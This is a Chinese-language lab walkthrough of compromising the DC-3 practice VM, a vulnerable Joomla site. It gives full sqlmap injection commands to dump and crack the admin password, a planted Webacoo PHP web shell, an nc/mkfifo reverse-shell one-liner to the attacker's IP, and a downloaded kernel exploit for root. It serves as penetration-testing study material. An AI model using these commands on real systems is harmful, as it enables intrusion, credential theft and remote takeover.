一、实验环境
虚拟机软件:VirtualBox
攻击机:kali linux(网卡初始为仅主机模式,要有安全意识)
靶机:DC-3(网卡初始为仅主机模式,要有安全意识)
二、开始渗透
1. 搜集信息
输入sudo su
,将kali切换到root权限;
输入ifconfig
查询自身ip,即攻击机ip;
可以看到自身ip为192.168.56.101
,对应的网卡名称为eth0。
本次渗透我们选择输入netdiscover -i eth0
扫描本网段存活主机,即靶机ip地址。
可以看到靶机ip为192.168.56.106
,。
输入nmap -sV -p- 192.168.56.106
,查看靶机端口开放信息。
看到只开放了一个80端口,即http服务。
浏览器输入192.168.56.106:80。
命令行输入whatweb -v 192.168.56.106
查询网站指纹信息。
可以看到一些关键信息,其中Joomla是一个基于PHP的内容管理系统(CMS)。
2. sqlmap
至此,基本思路为扫目录,查找有没有后台登陆界面。
有一个针对Joomla的目录扫描工具-Joomscan。
命令行输入joomscan --url 192.168.56.106
。
发现Joomla版本号和一个admin页面,http://192.168.56.106/administrator/
,浏览器打开。
基本思路是看看有没有sql注入或Joomla版本漏洞,作为一个脚本小子,根本没精力自己注入好吧,searchsploit扫起来。
cat
看看这个42033.txt的内容。
这里exp教我们使用sqlmap进行sql注入。
命令行输入sqlmap -u "http://192.168.56.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
可以看到爆破出来了几个数据库,这里我们瞄准joomladb,继续爆破表名。输入sqlmap -u "http://192.168.56.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
出来了一长串,我们看到下方有#_users表,应该跟用户信息有关,针对该表,爆破属性名。
输入sqlmap -u "http://192.168.56.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]
爆破出来了几个属性名,瞄准name,username,password,继续爆破。
输入sqlmap -u "http://192.168.56.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C name,username,password --dump -p list[fullordering]
爆破出来了用户名admin和一长串的加密密码。
将加密字符串写入一个pswd.txt文件中。并输入john pswd.txt
进行解密。
得解密密码为snoopy,重新登陆后台。
3. 上传PHP木马
发现Templates版块中可以编辑PHP文件,可上传PHP木马。
我这里使用Webacoo生成PHP木马
命令行输入webacoo -g -o test1.php
,将test1.php中的内容上传,文件名为shell.php中并保存,注意格式。
命令行输入webacoo -t -u http://192.168.56.106/templates/beez3/shell.php
成功连接后台。
发现自己是www-data用户,linux版本为4.0.21,Ubuntu为16.04。
攻击机输入nc -lvvp 4444
监听4444号端口,
靶机输入rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.101 4444 >/tmp/f
,反弹shell。
输入searchsploit Ubuntu 16.04
,选则39772.txt进行提权。
输入cat /usr/share/exploitdb/exploits/linux/local/39772.txt
,其中给出了exp的下载地址。
此时注意,将网卡设置为网络地址转换NAT模式,命令行输入wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
,将该压缩包下载到本地,然后将网卡调回到仅主机模式。
将该压缩包传到靶机上,攻击机命令行输入python -m http.server 8080
靶机命令行输入 wget http://192.168.56.101:8080/39772.zip
。
靶机中输入unzip 39772.zip
,解压该压缩包。
输入tar-xvf exploit.tar
解压其中的exploit.tar。
进入ebpf_mapfd_doubleput_exploit目录,运行之中的compile.sh文件和doubleput.c文件。
至此,我们得到了root权限,root目录获得最终flag。
至此,渗透结束。
三、总结
每一次新的渗透都是一堆没学过的新的知识,希望大家能知其然,亦知其所以然,渗透结束了,可是其中大量的为什么需要你私下去思考并解决,学的只是思路,但是为什么这个思路,为什么用这个工具,还需要多多琢磨。